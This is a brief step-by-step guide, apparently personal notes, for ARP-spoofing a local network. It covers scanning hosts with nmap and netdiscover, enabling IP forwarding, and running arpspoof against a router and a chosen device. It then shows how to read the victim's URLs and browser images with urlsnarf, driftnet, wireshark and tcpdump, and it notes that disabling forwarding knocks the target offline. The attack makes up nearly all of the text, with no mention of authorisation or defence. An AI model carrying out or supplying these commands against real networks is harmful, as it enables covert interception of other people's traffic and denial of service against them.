Arp-spoofing - Sniffing traffic

Step 1

Run nmap or netdiscover to list the devices on the network. `netdiscover -r 192.168.1.0/24` or whatever network range it is. This is good because it is live, and it updates as soon as new devices connect to the network.

```
nmap -vvv 192.168.1.0/24
```

Step 2

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

this command is fundamental. Without changing it to `1` you will only block the traffic, but not forward it. So that will bring down the connection for that person. Denial of service. If you want to do that make sure it is set to 0. If you want to intercept it make sure it is set to 1.

Step 3

```
arpspoof -i wlan0 -t 192.168.1.1 192.168.1.105
```

- `-i` is the interface flag. In this example we choose the wlan0 interface. Run `ifconfig` to see which interfaces you have available.
- `-t` the target flag. It specifies your target. The first address is the router, and the second is the specific device you want to target.

Step 4 - Read the traffic

So now you are intercepting the traffic. You have a few choices how to read it. Use urlsnarf.

```
urlsnarf -i wlan0
```

it will output all URLs.

```
driftnet -i wlan0
```

Driftnet is pretty cool. It let's you see all the images that is loaded in the targets browser in real time. Not very useful, but kind of cool. - wireshark. Just open wireshark and select the interface and start capturing. - Tcpdump. Also awesome.